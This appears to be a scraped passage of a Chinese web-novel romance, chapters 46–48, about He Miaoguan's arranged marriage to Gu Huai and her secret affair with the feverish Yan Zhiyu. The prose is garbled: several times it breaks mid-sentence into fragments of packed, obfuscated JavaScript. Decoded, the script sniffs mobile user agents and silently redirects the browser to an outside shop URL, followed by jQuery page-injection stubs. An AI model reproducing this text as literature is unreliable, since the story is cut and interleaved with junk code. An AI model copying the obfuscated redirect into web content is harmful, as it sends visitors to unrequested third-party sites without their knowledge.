0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654982|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妙观……”燕之郁被捏得微微蹙起眉,继续道,“我一想到将来顾公子能名正言顺地与你亲密,我心中便很难受。”他牵起她的手按在心口,单薄的中衣下,心跳蓬勃,“妙观,你肯定懂这种滋味,对不对?” “可是,我说过我会和离呀。”何妙观被他这副样子弄得心慌意乱,“燕郎君,你总是不信,还整天瞎琢磨,我能怎么办……” “妙观,倘若我和旁人成婚,但也说什么‘未来会和离’之类的话,你难道就能忍受么?” 何妙观一时缄默,呆呆地看着他浮漾着水光的眼眸。 可是…… 一想到自己终究会离开这个世界,燕之郁日后如何、是否会爱上旁人,都是完全无法控制,何妙观的心里不由也分外酸涩,沉默很久后,才认认真真地说道:“燕之郁,要是你以后遇见其他的人,你觉得那个人更适合你,你心有他属,我好像也没有什么办法。” 燕之郁僵住,眼睫轻颤,紧紧咬着嘴唇,像是不敢相信这番话。 “何妙观,你其实根本不喜欢我,对不对?”他含恨道,“妙观,我真恨以前信你说的话。” “我喜欢你。”何妙观摇头。 “你要是喜欢我,不会说这种话的。我在你眼里,就这么轻贱么。” “我……”何妙观愣愣地看着他,眼泪在眼眶里打转,“可是,燕之郁,我待你怎样,我是否喜欢你,你心里不清楚吗?但是,未来的事情谁也说不准,我没有办法和你担保。” “倘若你喜欢我,怎么能说这么大度的话,又怎么会没有一点点占有的欲望。”少年目不转睛地看着她,泪水在通红的眼眶里打转,“妙观,你分明是随时准备抛弃我。” “燕之郁……”何妙观心软下来,捧住他湿漉漉的脸,轻声道,“我、我刚才是骗你的。倘若你喜欢上别人,我便永远、永远讨厌你,你我此生不必再见。” 燕之郁端详着她,见她不似作伪,这才低笑起来,手指擦过她湿漉漉的眼角。缠绵地吻上她的唇瓣,动作轻柔,像蝴蝶停在花瓣上。何妙观揪着他前襟的手松开,温柔地回抱住他。 结束后,燕之郁依依不舍地轻蹭着她的鼻尖,低声道:“妙观,你们成婚后,我趁顾徊不在,也要像这样来找你。” “不可以的。”何妙观在他腰间轻轻掐一下,“要是被别人察觉,我们都会完蛋的。” “妙观,我肯定很小心,不会让别人发现的。”他认真道,“就算有人发现,也绝不会有人敢议论你的。” “哎呀,你还是老实等着我和离吧。”何妙观被他弄得很无奈,“燕郎君,你要是这点时间都等不住,那你也别说什么喜欢我。” “妙观……”他不由又开始想他们成婚后会如何亲密无间,泪水如断线珍珠般滚落下来,滑过玉白的脸庞,“妙观,我光是想象你和他朝夕相对,会和他耳鬓厮磨,会……我就好痛苦。”他说到这里,有点哽咽,单薄的肩膀轻轻颤抖,“你明明说过喜欢我的。” “我不会和他耳鬓厮磨的。”何妙观抱着他,轻声道,“我只会和我喜欢的人这么做。” 他仰起泪痕斑驳的脸。一瞬间,忽然有点想全盘托出。 “妙观,为什么非得是顾徊呢?”燕之郁想不明白,“顾徊到底哪里好?是因为家世么?可是天底下,比顾家好的又不是没有……” “妙观,倘若我说,顾家能给你的,我也能给你。那你会不会同我成婚?” “燕郎君,其实,我和顾徊成婚,并非因为顾家的家世。”何妙观轻叹一声,坦诚道,“我有自己的苦衷。但暂时不方便告知你。” 苦衷……到底是什么苦衷非要和一个平平无奇的人成婚? 燕之郁想不通,心中懊恼,低下头,捧住她的脸亲上去。因为气闷,吻得毫无章法,像是啃咬一样。何妙观吃痛后,便咬回去。分开时,两个人的呼吸乱作一团。 他的嘴唇被咬得红肿,泛着水光。 “燕之郁!”何妙观生气地摸着自己的唇瓣,“你是小狗吗?怎么乱咬人。” “嗯。”燕之郁点点头,又低下头,在她的脖颈上轻轻咬一口,留下淡粉色的印痕。 何妙观这才知道他是什么意思,气得扒开他的衣襟,在他的肩颈上,也狠狠地咬上一口,在白皙的皮肤上留下淡粉的牙印。 46.四十六 这年的二月初三,江都县飘着细雪。 生辰宴设在醉仙楼顶层的暖阁,阁内的炭火燃得正旺,铜兽熏笼里溢出缕缕淡香。雕花木窗外,银雪纷飞。 赴宴的除却常来往的顾蕙仙、陆怀翡等世族小姐以及年轻郎君,便是何宝珠、何宝灵两姐弟。何妙观虽然不喜欢宝灵,但二嫂预先在家提过一嘴,不得不邀请他一起来。 何宝灵是拄着拐杖来的。月前他和两个小厮偷溜去城郊玩,恰逢地痞混战,卷入其中后,被人绊倒摔裂了腿骨。二嫂重罚了小厮,宝灵也因养伤,安分不少,总算不再三番五次的去惹宝珠生气。此刻缩在角落剥橘子,少见得有点可怜相。 午宴时,女郎们簇拥着何妙观拆礼。 “妙观,这个是时下最流行的胭脂。你回去可要好好试试。” “妙观,这个珍珠粉是我表姑从南海那边带过来的。” “姑姑,猜猜宝珠送的是什么?”宝珠一边笑着,一边打开锦盒,里面明晃晃的,“是元宝形状的金坠子哦。” 何妙观一边道谢,一边适时地说道:“哎呀,我正好需要这个。” 午宴后便是赏雪。众人分乘两艘画舫,往江都县最有名的凌波亭驶去。前船坐着女眷,后船载着男宾。欸乃橹声中,画舫缓缓破开浮着薄冰的湖面。 女郎们的船先抵达凌波亭。 凌波亭的石凳上已铺好锦垫,周遭摆着四座铜暖炉,因此并不算太冷。何宝珠挨着何妙观坐下,呵着气,小声道:“姑姑,男客们送的都是什么?” “杜御史送的是松烟墨,顾徊送的是香囊,宝灵……呃,送的是他画的画。” “何宝灵就知道送没用的东西。”宝珠不屑地撇撇嘴,“燕郎君呢?” “燕郎君……他送的是一对耳珰。” “是什么样子的?” 何妙观还没细看,只隐约记得耳珰是和田玉雕刻的,下面坠着红色的流苏,甚是贵气,看上去没有十多两银子打点不下来。但问起燕之郁,他只说是在博古斋好价买来的。 “是和田玉雕的花,底下缀着红穗子……” 还不等何妙观说完,一个婢女慌慌张张地跑过来,道:“何小姐,后头的船,撞了冰柱子!” “什么?” 众人皆是一怔。 何妙观连忙站起身,向湖面看去,但暮雪渐密,湖面烟霭茫茫,什么也看不清。 婢女喘着气补充道:“幸好船翻的地方不算深,大家都没事。只是何小公子腿脚不便,呛得比较厉害……” 宴会草草而散。 == 寒意刺骨,黑暗如潮水般卷席上来,将人一点点淹没。 燕之郁的视野里一片漆黑,仿佛又回到被锁链禁锢的夜晚,刺骨的冰水没顶而来。瘆人的的水声在耳边一次又一次地回响着,浑身冷热交织。 啪嗒。啪嗒。啪嗒。 “杜丞相,这次、这次就绕过我……”少年的声音有些沙哑,“我下次、下次真的会做得更好的,我会听话……” 中年男子温润却冰冷的嗓音响起来:“之郁,这么轻易放过你,你怎会长记性呢?”他俯下身,用玉尺抬起少年的下巴,“选吧,胳膊,大腿,还是脖子?” 少年的牙齿打颤,发出细碎的磕碰声。 “……胳膊。” 随即,冰凉细长的针尖刺破皮肤,一路扎进血肉深处,带着锈蚀的痛感。 “呃!”燕之郁从梦魇中挣扎着醒来,额角传来一阵钝痛。 耳边响起女郎压抑的痛呼。 他涣散的视线渐渐聚焦,看见何妙观捂着通红的前额,眼圈泛红,泪珠在长睫上摇摇欲坠。 “燕之郁,你这么突然起来做什么……撞得我好疼……” 燕之郁混沌的思绪渐渐清明,看着她微乱的云鬓,声音沙哑地道着歉:“妙观,对不起。” “好吧,大人不记小人过。”何妙观撇撇嘴,端过白瓷药碗递到他唇边,“你烧得很厉害,先喝药吧。还有,李郎中说这两天最好老老实实在屋里呆着,留着点力气。” “好。”燕之郁顺从地接过,饮尽苦涩的汤药。放下药碗后,他看向她湿润的唇瓣,淡淡红粉色,像初绽的春花。燕之郁喉结滚动,倾身靠近道:“妙观,我想亲你。” 何妙观手一抖,药碗差点滑落:“喂!燕之郁!你刚醒来就要这样?” “嗯。”燕之郁眼神迷蒙地望着她,嗓音沙哑,“因为我刚刚梦见你亲我。所以,我也想亲你。” “你怎么发烧还做这种梦。”何妙观有点无语。 “所以……”燕之郁向前倾身,领口微敞,露出白皙的锁骨,声音还带着鼻音,“现在可以吗?” 少年因为高热烧得水光潋滟的眸子,像浸水的黑琉璃一般。何妙观心弦微动,垂下眼:“嗯。” 得到允许,燕之郁便慢慢地凑过去。高热后的身体没多少力气,动作也比平时迟缓,气息交缠,温热柔软的唇瓣紧紧相贴,研磨吮吸,如同汲取甘泉。 绵长的亲吻让他有些缺氧,结束后,只能虚软地搂着妙观细喘。 何妙观扶住他的腰,感觉他整个人软绵绵地往下滑,忍不住笑道:“燕之郁,你烧成这样,怎么还惦记着亲嘴啊?” “妙观,你在嫌弃我亲得不好么?”他说着,俯下身,又要吻上来。 正在这时,突然传来一阵叩门声。接着,房门打开,有人推门而入。 何妙观微微一愣,条件反射般掀开被子钻进去,躲在他身侧。燕之郁便抬手拉拢床帐,素纱帷幕落下,遮住一榻旖旎。 “小燕郎君,你现在可有好些?”李郎中的声音隔着纱帐传来。 “多谢李郎中。郁现在没什么大碍。”燕之郁平淡道。 帐内,何妙观紧贴着他滚烫的身躯,屏着呼吸。薄薄的寝衣下,他的体温灼人,胸膛随着呼吸缓慢起伏。 直到郎中嘱咐完告退,关门声响起,何妙观才如蒙大赦般从被子里钻出来,呆呆地看着他,鬓发微乱,耳尖红得滴血。 “李郎中他怎么直接进来啊?”何妙观一边抱怨,一边理着衣角。 “其实,我刚刚有听到李郎中在外面问话,但因为我们都没有理他,他才直接进来的。” “哦……我刚刚没听到。燕之郁,你听得到,你怎么不回他一句?” “妙观,方才我们在接吻。我怎么回他?”燕之郁含笑道。 “巧舌如簧!你就是故意的!”何妙观双手交叉在胸前。 燕之郁望着女郎一颦一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667579|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑的模样,不由想到不久后成婚,妙观也会对那人这般言笑晏晏,甚至有更亲密无间的举动,痛意混着燥热窜上心口,让他胸口堵得发慌。 他伸手一拽。 “唔!” 何妙观重心不稳,惊呼一声,跌回他怀里,愕然抬头时,正对上他黑涔涔的眼眸。 少年病容昳丽,脸颊泛着潮红,漆黑的额发被虚汗浸透,黏在苍白的额角,唇色却异常秾艳。他微微支起身,素白的中衣领口松散,汗珠顺着颈线滑入衣襟深处。 “妙观,你和顾徊的婚事,其实我还是有一点不解。”他声音低哑。 何妙观顿感一阵不妙。 “我私下找人合过你们的八字,顾徊的命格对你,并不如你说的那样旺你。” “燕之郁,我……” “妙观,我说这个,不是在怪你骗我。”燕之郁摇摇头,“如今,你既然已经选定他,其中的缘由,我不会再问,免得自讨没趣。但我……依旧会等你和离的。你和离后,我们便一起留在长安。” “好……”何妙观弯起唇,浅浅一笑,俯身在他额上落下一吻,“燕郎君,你好好养身体。去长安后,事务肯定会比现在会多上许多,你照顾好自己。我觉得,你未来一定会当很大很大的官的。等你当上大官,一定要做一些为国为民的好事,然后名留青史,呀,想想都觉得好厉害……” 何妙观想着原书里的设定,按照燕之郁的能力,去长安后,官拜丞相应当并不是什么难事。 燕之郁长睫微颤,一时不知该摆出什么样的表情,心里忍不住想,后人不骂他已是不错,他怎么可能会名留青史。 “名留青史好难的,妙观。我做不到。” “我只是打个比方……”何妙观不想给他太多压力,连忙道,“当一个普普通通的平凡人也挺好。” “那万一,连一个普普通通的平凡人都做不成,怎么办?”他又问。 何妙观没理解他的意思。 “妙观,官场险恶,人们多会身不由己,做不少违背本意的事情。倘若我因此变成一个恶人……”他直白道,“妙观,到时候,你会怎么待我?” 何妙观想起书里满手鲜血的权臣,一股寒意自脚底窜起,连忙道:“燕之郁,无论如何,你绝不可以做坏事。倘若你变成那样,我、我会把你关起来的。” “只是关起来啊?”他低低地咳笑起来,笑声里带着难以言喻的兴奋,肩头微微耸动,“妙观,我真的好喜欢你。你和所有人都不一样。” “莫名其妙,老是忽然说这种话。”何妙观别开脸,耳根发烫,“你若是在长安遇到什么难处,受人排挤,一定要同我说,但千万不可以去谋害旁人。” “可是……妙观,我真的觉得被你关着还挺好的。”他声音低沉,蛊惑地笑着,“如此一来,你日日都不得不来瞧我,给我喂水送饭……嘶,妙观,那样岂不是和结为夫妻没什么区别。” “燕之郁!”何妙观羞恼地去捂他的嘴,却被他顺势牵住,十指相扣,“你想得倒挺美!你要是犯错,我才不给你吃的喝的,我要饿着你,好好反省。” “妙观,你要是不想给我吃也可以。”他笑起来,眼尾弯成漂亮的弧度,“你每一日都来亲我一下,我吃这个就能饱的……” 47.四十七 更漏声歇,已是深夜。 燕之郁靠在床上,抱着膝,双手交叠,脸侧搁在手臂上。 “妙观,今晚你留在这陪我吧。” 何妙观摇摇头:“不行,被别人看到不好……” “妙观,不会有人知道的。”他说着,又开始咳起来,可怜巴巴道,“而且,你走的话,我会做噩梦的,妙观……” “燕郎君,会有下人来守夜的。”何妙观只好在榻边坐下,理着他汗湿的额发,安抚道,“你把安神汤喝掉,肯定能睡得很好。” “妙观,你明知道我的意思是,不要旁人,就要你。”燕之郁摇摇头,抬起湿漉漉的睫毛,退让道,“这样,我去你房里好不好,我今夜就要和你在一起……” 他得看着她平安无事地过完生辰,方可确认陆黎的卜算并不会成真。 “燕之郁,不可以。”何妙观抽回手,一本正经。 “妙观……”燕之郁立刻垂下眸,一声不吭地流着泪,双颊因为高热一团粉红,楚楚可怜。 “哎……你啊。”何妙观轻叹一声,“好吧、好吧……我换身衣服便过来陪你。你把药喝掉,乖乖躺着等我。” “好。”燕之郁这才擦掉眼泪。 他坐在床榻里侧,何妙观便坐在床沿,翻开话本。 燕之郁从身后环住她的腰肢,低头亲吻着她的后颈,声音闷闷的:“妙观,今日就别看了好不好,我们现在一起睡吧。” 烛花发出“噼啪”的爆裂声。帐幔间光影摇曳。 “燕郎君,我来是给你守夜的。”何妙观面色微红,拍拍他的手,“你早点睡吧。我还不困。” “妙观,你不睡,我也不睡不着。”燕之郁收紧手臂,鼻尖轻蹭着她侧脸。 “你先睡,我马上。”何妙观再度妥协,“就看完这一章。” 燕之郁只好躺下,闭上眼。身旁书页翻动的细响渐渐迟缓,最终被均匀绵长的呼吸取代。他悄然睁开眼,女郎握着话本歪在床柱边,云鬓松垮,弯翘的眼睫低垂着,烛火照映下,眼下留着蝶翅般的青影。 燕之郁小心翼翼地撑起身,将人抱进锦被中,又替她掖好被角。忙完后,他托着腮,侧躺在一旁,在渐弱的烛光里,专注地凝望着她的睡颜。 今日是妙观的生辰。倘若妙观能平平安安地度过这一夜,便说明陆黎的卜算是故弄玄虚,算不得真。 燕之郁每隔一段时间,便俯身将耳廓贴在她的心口,确认心跳依旧蓬勃。 直到天边泛起鱼肚白,窗外响起一二声雀鸟的啼鸣,他紧绷的心弦才稍稍松弛,终于得以松一口气。 看来陆黎这人,根本就是故弄玄虚。 自己真是脑子有问题,才信他说的鬼话。 翌日,融化的雪水从檐角滴落,发出碎玉般的清凌声响。何妙观在熹微的晨光中睁开眼。 燕之郁看上去醒得更早。少年侧卧着,墨发散乱铺在枕上,黑亮的眼眸看着她,因为高热未退,眼尾泛着薄红。 何妙观抬手抚摸他的脸颊,发现仍有些发烫,心疼道:“燕郎君,你生着病,应该多睡一会的。怎么醒这么早?” “妙观,我总是担心你半夜会走,睡不着。”他趁此翻过身,胳膊搭在她腰间,紧紧搂着她,撒娇道。 “我说过不会走就是不会走的。”何妙观无奈。 “那……妙观,你今日也留在这陪我吧?”他揉揉眼睛,怕她不答应,又示弱道,“我好困,头好晕……” “那你再睡一会,我吃个早饭,吃完马上回来守着你。” 何妙观起身,唤来婢女准备早膳,再回到内室,少年已昏昏沉沉地睡过去。晨光透过纱帐照在白皙细腻的肌肤上,因为高热未退,玉白的脸颊上依旧染着旖旎的绯色。 何妙观吃完鸡丝粥,坐在榻边翻书。待到日影西移,才轻唤道:“燕之郁,醒醒,吃点东西吧。” 少年浓密的睫羽颤动,虚弱地睁眼,底下的眼眸水光潋滟。他支起身子,软绵绵地偎过来,声音有点含糊:“妙观,我手软得抬不起来,你喂我好不好?” “你呀……”何妙观看出他是借此撒娇,无奈地端起瓷碗,用瓷勺搅动着热气腾腾的鸡丝粥,等尝起来温度适宜,才喂给他。每喂一勺,他都乖顺地含住,唇瓣水润,目光缠在她脸上,盯得何妙观一度以为自己脸上有什么东西。 “这个药有点苦,慢点喝。”喂完粥后,何妙观将药碗递过去。 燕之郁仰头饮尽,喉结轻轻滚动。一滴深褐的药汁顺着唇角滑落。 何妙观正要取帕子给他擦拭干净,却被他轻轻拽住袖角。 “真的好苦啊。妙观,你亲我一下吧?”依旧是水盈盈的眼神。 “苦的话你吃这个。”何妙观不想尝到药味,伸手从碟子里取过一枚蜜饯,塞到他嘴里,“吃完才能亲。” 燕之郁吃完蜜饯后,又黏糊糊地缠上来索吻。 “三月二十八……还有五十五天。”亲完后,燕之郁枕在她的大腿上,算着她成婚的日期,“在这五十五天,妙观,我每一日都想要见你,行不行?” 何妙观没有回答。 “妙观,妙观……”他便拉着她的手一晃一晃,“你看我这么可怜,答应我吧。” “燕之郁,我有空就会见你的。”何妙观无奈道,“还有,这些天一直是我在照顾你欸,你哪里可怜?” “心爱的人要和别人成婚,我却什么也无法改变,这难道不可怜吗?”燕之郁委屈巴巴地坐起身,双手缠在她的肩上,因为气息不稳,微微喘息着。 “好吧……有一点点可怜。” “看在这‘一点点可怜’的份上……”他盯着她石榴红的唇瓣,含笑道,“妙观,你和顾公子成婚后,能不能不要和他接吻?” 何妙观微微一愣,随即忍不住笑起来,故意逗道:“可以是可以。但你得给我一个理由,说服我,我才不亲。” “因为……顾公子亲吻的技术肯定没有我好,会把妙观弄得不舒服的。”燕之郁思索一会,得意洋洋道,“妙观,你想,我们接吻过这么多次,只有我知道你最喜欢怎么样亲。以后你若是想要接吻,便来找我,我随叫随到的。” “燕之郁!”何妙观扑哧一声笑出来,“我是不是还要尊称你一句‘接吻大师’啊?” “那我恭敬不如从命。”他心安理得地接下称号,倾身向前,温热的唇贴上来,吐息间还带着蜜饯的甜味。因为生病,动作无力,吻也很轻,但像是要努力证明他配得上称号一样,亲得格外缠绵悱恻。亲完后,燕之郁的面色比方才红上不少,他虚弱地靠着何妙观,软声道:“妙观,我头好疼。” “明知道头疼还亲这么久,我能有什么办法。”何妙观轻叹一声,调整姿势,让他枕在自己腿上。 少年的墨发如瀑般铺陈开来。 他看着她的脸,问道:“所以,妙观,我刚刚亲得好不好?” “还行吧。” “只是还行吗?”燕之郁说罢,急得又要挣扎着起身。何妙观连忙一把按住他,道:“很好、很好、天下第一好。” 燕之郁这才安静下来。片刻后,呼吸渐渐平稳绵长,慢慢进入梦乡。 日光缓缓移动,从帐幔的这一头移到那一头。 何妙观低下头。少年的睡颜纯净,犹如初雪,睫羽随着呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672532|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻颤抖,唇瓣还保持着微微张开的姿态,露出莹白的齿尖。美中不足的是,因为蹙着眉,看上去很是可怜。何妙观伸出手,指尖轻抚着他的眉间,一点一点,总算抚平。 燕之郁高热不退的这些天,何妙观一有空便来找他。 “李郎中有没有说你是怎么回事?” 一日一日,他总不见好,何妙观不由有些心急。毕竟,何宝灵的年纪更小,落水后呛得还更厉害,两日前,也养好身体,回了金陵读书。 “李郎中说,最多再吃两日药就好。”燕之郁喝完药,依偎过来,“妙观,我还真想一直生着病呢。这样的话,你便能一直陪着我。” “呸呸呸,不许说这种不吉利的话。”何妙观环住他清瘦的身躯,“不许说。” 少年便将脸埋进她颈窝,轻轻蹭着:“哪里不吉利,你陪着我,就是最吉利的。而且,我一点都不想回扬州府上值。好无聊的。” “说到这个……”何妙观不由忧心,“燕郎君,你告病假这么久,徐侍郎会不会默默记你一笔啊?” “不会吧。又不是我故意要生病的。”燕之郁唇角微抽,道。 “话是这么说。但我总觉得徐侍郎不像个好人。”何妙观还是感觉哪里不对劲。 “妙观,徐侍郎待我,真的挺好的。”燕之郁不得已道,说罢,又欢欢喜喜地看着她,“妙观,再过四十七日,你便要和顾公子成亲,现在,还关心我这个‘情夫’的仕途啊?” 这些日,燕之郁已彻底想明白一个事情。 相较于顾徊,何妙观显然更喜欢他一点。否则,绝不可能和顾徊成婚前,还愿意和他腻在一块。 他并非只是婚前的玩物而已。 想通这个,他不由心中得意,更觉得顾徊不足一提,心绪也比往日宁静。 何妙观忍不住捏他脸颊,教训道:“燕之郁,你算哪门子的‘情夫’啊?” “那……姘头?”少年眼尾弯起,“或者顾公子说的‘小三’。” 他上赶着当小三,何妙观也没办法,继续道:“徐侍郎说,什么时候带你去长安?” “他说在三月底动身。”燕之郁如实答道,“但我肯定会等着你成婚再走的。” 不久前,李循传信说,既然监工的人选已定,他最迟四月中旬抵达长安。 燕之郁当然清楚李循为什么急着自己回去。李循少年登基,朝中多是先皇留下的老臣,总爱说些他不爱听的话。而自己和李循年龄相近,还是他当赵王时就跟在他身边的人,他信得过。过去,李循不爱批、懒得看的奏折,也都会交由他处理。 回长安后,肯定不会和现在一样闲散。 恍恍惚惚间,巍峨雄丽的勤政殿浮现在眼前,连带着满案书牍,燕之郁不由一阵厌烦,微微蹙起眉。 “妙观,你喜欢长安么?”他问。 何妙观想起电视剧里长安城的繁华富丽,心向往之:“当然喜欢。” “等你和顾公子和离,我们便住在长安。你喜欢住的地方热闹点,还是清静点?” “热闹点的……不过,长安寸土寸金,燕郎君,我可买不起。”何妙观听着他一副已经打点好住处的口气,忍不住笑起来,“你好好努力吧,说不定被圣上青眼,就能平步青云……” “既然妙观希望这样,那我自会勤勉的。”燕之郁看她笑得眉眼弯弯的样子,心弦微动,低下头轻啄她的额角,“等我们到长安,你到时候多看看不同的坊间,告诉我喜欢哪里,等我当上大官,便全部买下来。” “燕郎君,这么有信心啊?”何妙观含笑仰起脸,也亲亲他的唇角,“那‘苟富贵,勿相忘’呀……” 48.四十八 初春。 何府东院的厢房里,两位四十多岁的嬷嬷正襟危坐。 “何小姐,这夫妻伦常,乃是人伦大始,上承宗庙,下继后世,是头等要事。今日老身与李嬷嬷将与何小姐分说一二,小姐仔细听着,莫要羞臊。”王嬷嬷语气肃然地开口道。 何妙观点点头,乖巧道:“谨遵嬷嬷教诲。” “这第一要紧的,便是‘顺从’二字。”王嬷嬷道,“所谓‘夫为妻纲’,夫君便是妻子的天。夜间共处一室时,无论夫君有何需求,都不可以推拒忤逆,要温顺承受,这才符合妇道。” 虽然北梁国民风开放,但说到底,还是男尊女卑的封建制度。 何妙观表情有点难看,勉强道:“是。” 王嬷嬷从一只紫檀木小匣里,取出一个物事,红绸层层打开后,露出一对白瓷雕的胖娃娃,男女分明,亲密无间地搂抱在一起。 何妙观看着两个色|情的瓷娃娃,唇角微抽。 这是扬州这边高门嫁女时常用的“压箱底”。 王嬷嬷指着瓷人的关键处,道:“何小姐请看,阴阳交|合,便是如此。具体位置,何小姐记一记,心中需有个数,免得洞房时惊慌失措,传出去也不好听。” 何妙观抿着唇,强忍尴尬,再度说“是”。 恰在此时,婢女来报说何徵有要事相商,陈寄柔便站起身,笑道:“嬷嬷们费心。我们两家是世交,阿徊那孩子也是知根知底的,断不会因小事与妙观生隙。囡囡,阿娘还有些事情,你把该记的记住便好。” 陈寄柔走后,王嬷嬷继续道:“何小姐,房事并非只为贪欢,首要的目的,在于开枝散叶,延绵子嗣。你的肚皮争气,日后在婆家才有地位。每月信期须得记牢,信期前后最易受孕……” 何妙观只好咬着唇,又点点头,一脸无语的表情。 王嬷嬷讲完,便轮到李嬷嬷讲洞房的事情:“何小姐,洞房花烛夜,流程规矩,老身也需提前告知小姐,免得您届时慌了手脚,有失体面。” “合卺酒喝完后,喜娘和仆役会退下去,新房内便只剩小姐与姑爷二人。届时,姑爷若是体贴,或许会同小姐温存片刻;若直接步入正题,小姐也需心中有数。” “姑爷近身时,小姐切不可挣扎推拒,这是大忌。需知男子此时兴致起来,便如那离弦之箭,断无收回之理啊!”李嬷嬷夸张地提高音量。 课本上“封建礼教”四个字突然变得具体而真实。何妙观听得有些生气,低下头,免得让二人看到自己的表情。 “小姐,莫要害羞。”李嬷嬷语气稍缓,“初次的话,难免会觉得难受。但再难受,也得忍着。些许痛楚,咬咬牙便过去,女子都是这么过来的。姿态一定要柔顺,莫要哭哭啼啼坏气氛,更不可出声喊痛,那是小家子气没教养的表现。元帕见喜,是贞洁的凭证,会有仆妇来处理。结束后,姑爷若起身唤水,小姐再累再不适,也需撑着伺候,这是为人妻子的本分。” “次日敬茶,无论前夜如何,都要打起精神,妆容也需得体,莫让公婆看出倦怠,误以为小姐不满这桩婚事。” “每日晨昏定省是断不可少的,须得较公婆起身更早,伺候梳洗;较公婆安歇更晚,请示有无吩咐……” 哎!还不如回去读高中呢!还不如回去刷《五年高考三年模拟》呢! 何妙观越听越感到绝望。 为什么当初要答应顾徊,帮他完成任务呢? 但是不帮助顾徊,心里又有点过不去。 耳边,嬷嬷们的声音仍在继续,从如何揣摩婆婆心意,到如何与妯娌相处,再到节日祭祀的注意事项……滔滔不绝,直至窗外天色渐暗,二人才口干舌燥,心满意足地离去。 白胖胖的瓷人还放在桌上。 何妙观觉得两个丑丑的小人还黏在一处,实在碍眼,便把两个小人扒拉开,塞进抽屉里,一个放一格。 刚放进去,便听到叩门声。原是宝珠要来。 宝珠将一本小册子,放到桌案上,兴高采烈道:“铛铛——” 何妙观定睛一看,是新刊印的《人间四月芳菲尽》。 内页墨色淋漓,装帧精美,上面的插画栩栩如生。 “宝珠,什么时候发售的?”何妙观一边翻,一边问。 “就今早呀。本来宝珠早上便想来找姑姑的,但姑姑一直在忙。”何宝珠笑起来,眉梢藏不住喜色,“姑姑,书坊说,今日一共卖出去五百六十二册,其中,有个人一口气订了五百册。” “五百册?”何妙观惊道,“一次买五百册做什么?” “不知道,可能是宝珠画得太好,决定送人吧?”何宝珠得意洋洋着,“姑姑,明日我作东,咱们去醉仙楼好生庆贺一番,怎么样?” 何妙观含笑应下:“好呀。” “到时候……让燕郎君一起来怎么样?”何宝珠又问。 何妙观笑容微滞,道:“宝珠……我现在这样子,让他来,怕是有点不方便。” “好吧……”何宝珠轻叹一声,“其实宝珠一直很困惑,姑姑明明更喜欢燕郎君,为什么却要答应顾家的提亲呢?虽说顾徊家世更好,但我们家也不差,宝珠觉得,还不如选一个更符合心意的呢。” 何妙观一时语塞,片刻后,只好敷衍道:“人生大事,不是单靠是否喜欢就能决定的。” == 暮色四合,烛影摇红。又过两日,便是试婚服的日子。 阿菁领着小丫鬟们,将盛放嫁衣的托盘放在梳妆台前。 烛火映照下,正红色的织金嫁衣流光溢彩,金线绣成的鸾凤在光下流转着绚丽的光泽。凤冠更是精巧绝伦,点翠衔珠,金丝缠绕,何妙观觉得,比电视剧里的头饰还要精致数倍。 “小姐,若有哪里不合身,咱们连夜改也来得及。”阿菁道。 何妙观在梳妆台前坐下,微微颔首:“开始吧。” 阿菁为她解开常服衣带,阿葵与另一个小丫鬟小心翼翼地捧起嫁衣,为她穿戴。织锦厚重,压在肩头颇有分量,腰封也束得很紧,强行勾勒出窈窕曲线。 何妙观望着镜中渐渐陌生的模样,有种说不出的别扭感。 “这婚服真好看,小姐也好看。”阿葵由衷赞叹。 “这料子是苏州进贡的云锦,绣娘是江南最好的手艺人,整个江都县再寻不出第二件呢。” 接下来便是试妆。敷粉、施朱、画眉、点唇。梳妆娘子手法娴熟,浓淡适宜。结束后,梳妆娘子又将何妙观的头发解开,尽数打散,盘成高耸的凌云髻,用桂花头油抿得一丝不乱。 沉甸甸的凤冠戴到头上。 唔!好重! 何妙观皱着眉,想伸手去扶,却被梳妆娘子轻轻按住,道:“小姐忍一忍,扶着的话,模样不好看。婚礼当日,还得戴着这个走上一段路呢。” 何妙观欲哭无泪,抬眸望向镜中。 镜中人面若桃花,珠翠环绕,美则美矣,但青涩的容貌和浓丽的打扮,有一种格格不入的怪异感。 “小姐可还满意?”梳妆娘子小心翼翼地问。 何妙观怕说不满意,还要卸掉重新画一个,连忙道:“真好看,我很喜欢。” 梳妆娘子这才松一口气,笑起来:“奴婢看何小姐一脸凝重,还以为不喜欢呢。” 这时,门外传来小丫鬟怯生生的通传:“小姐,顾公子来,说想见您。” 屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 